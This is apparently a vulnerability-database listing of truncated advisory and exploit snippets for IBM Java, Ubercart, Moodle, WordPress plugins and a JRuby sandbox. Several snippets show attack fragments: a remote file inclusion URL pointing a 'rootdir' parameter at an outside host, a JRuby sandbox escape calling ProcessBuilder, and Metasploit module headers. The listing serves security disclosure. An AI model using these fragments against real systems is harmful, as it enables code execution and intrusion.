JDK: privilege escalation via shared class cache

Unspecified vulnerability in IBM Java Runtime Environment JRE 7 R1 before SR2 7.1.2.0, 7 before SR8 7.0.8.0, 6 R1 before SR8 FP2 6.1.8.2, 6 before SR16 FP2 6.0.16.2, and before SR16 FP8 5.0.16.8 allows local users to execute arbitrary code via vectors related to the shared classes cache...

PT-2014-2244

Name of the Vulnerable Software and Affected Versions Ubercart module versions 6.x-2.x before 6.x-2.8 Description The issue allows remote authenticated users with the "administer product classes" permission to execute arbitrary PHP code. Recommendations For Ubercart module versions 6.x-2.x before...

CVE-2012-2301: Improper Control of Generation of Code

The Ubercart module 6.x-2.x before 6.x-2.8 for Drupal allows remote authenticated users with the "administer product classes" permission to execute arbitrary PHP code via unspecified vectors...

PT-2014-5059

Name of the Vulnerable Software and Affected Versions IBM Java Runtime Environment JRE versions 7.0.0 through 7.1.2.0 IBM Java Runtime Environment JRE versions 7.0.0 through 7.0.8.0 IBM Java Runtime Environment JRE versions 6.0.0 through 6.1.8.2 IBM Java Runtime Environment JRE versions 6.0.0...

PT-2014-6140

Name of the Vulnerable Software and Affected Versions IBM WebSphere MQ classes for Java libraries versions 8.0 before 8.0.0.1 IBM Websphere MQ Explorer versions 7.5 before 7.5.0.5 and 8.0 before 8.0.0.2 Description The issue allows local users to discover preconfigured cleartext passwords via an...

CVE-2014-4822: Undefined Security Weakness

IBM WebSphere MQ classes for Java libraries 8.0 before 8.0.0.1 and Websphere MQ Explorer 7.5 before 7.5.0.5 and 8.0 before 8.0.0.2 allow local users to discover preconfigured cleartext passwords via an unspecified trace operation...

Microsoft Online Services Bug Bounty Program Launches

Microsoft had always rejected the possibility of a full-scale bug bounty, relying instead on solid relationships it spent the better part of a decade fostering with researchers worldwide who submit vulnerabilities to the Microsoft Security Research Center MSRC. Yet in the past couple of years, th...

WordPress Easy MailChimp Forms Plugin <= 5.0.3 - CSRF

This plugin is prone to a cross site request forgery vulnerability via classes/class.yksemeBase.php. Solution Update the plugin...

[SECURITY] Fedora 20 Update: struts-1.3.10-10.fc20

Welcome to the Struts Framework! The goal of this project is to provide an open source framework useful in building web applications with Java Servlet and JavaServer Pages JSP technology. Struts encourages application architectures based on the Model-View-Controller MVC design paradigm,...

PT-2014-5387

Name of the Vulnerable Software and Affected Versions Moodle versions 2.7.x through 2.7.0 Description A cross-site scripting issue exists due to improper handling of a crafted username during the logging of an invalid login attempt. This occurs in the get description function in...

PT-2014-5391

Name of the Vulnerable Software and Affected Versions Moodle versions 2.3.11 and earlier, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, 2.7.x before 2.7.1 Description The issue allows remote authenticated users to bypass intended access restrictions by leveraging two or more group...

CVE-2014-4524: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in classes/custom-image/media.php in the WP Easy Post Types plugin before 1.4.4 for WordPress allows remote attackers to inject arbitrary web script or HTML via the ref parameter...

Jinzora <= 2.1 (media.php) Remote File Include Vulnerability

No description provided by source. Jinzora = 2.1 Remote File Inclusion Download Source : http://www.jinzora.com/downloads/j2.1.tar.gz Found By : k1tk4t - k1tk4t4tnewhack.org Location : Indonesia -- newhackdotorg file ; media.php bugs ; // include classes for extending. requireonce$includepath...

ProjectButler <= 0.8.4 (rootdir) Remote File Include Vulnerabilities

No description provided by source. projectbutler-0.8.4 Remote File Inclusion Vulnerability Download: http://prdownloads.sourceforge.net/projectbutler/projectbutler-0.8.4.tar.gz?download Found By: the master exploit: http://Target/Path/classes/Cache.class.php?rootdir=http://cmd.gif?...

JRuby Sandbox 0.2.2 - Sandbox Escape

No description provided by source. Phenoelit Advisory wir-haben-auch-mal-was-gefunden 0815 +-+++ Authors joernchen joernchen phenoelit de Phenoelit Group http://www.phenoelit.de Affected Products jruby-sandbox = 0.2.2 https://github.com/omghax/jruby-sandbox Vendor communication 2014-04-22 Send...

Java Applet Field Bytecode Verifier Cache Remote Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

Java Applet JMX Remote Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' require 'rex' class...

USN-2218-1: Xalan-Java vulnerability

Nicolas Gregoire discovered that Xalan-Java incorrectly handled certain properties when the secure processing feature was enabled. An attacker could possibly use this issue to load arbitrary classes or access external resources...

JRuby Sandbox 0.2.2 - Sandbox Escape

JRuby Sandbox 0.2.2 - Sandbox Escape Phenoelit Advisory Authors joernchen Phenoelit Group http://www.phenoelit.de Affected Products jruby-sandbox e puts "fail via Ruby ;" end puts "Now for some Java" sand.eval"Kernel.send :javaimport, 'java.lang.ProcessBuilder'" sand.eval"Kernel.send :javaimport,...

JRuby Sandbox 0.2.2 Bypass

Phenoelit Advisory Authors joernchen Phenoelit Group http://www.phenoelit.de Affected Products jruby-sandbox e puts "fail via Ruby ;" end puts "Now for some Java" sand.eval"Kernel.send :javaimport, 'java.lang.ProcessBuilder'" sand.eval"Kernel.send :javaimport, 'java.util.Scanner'" sand.eval"s =...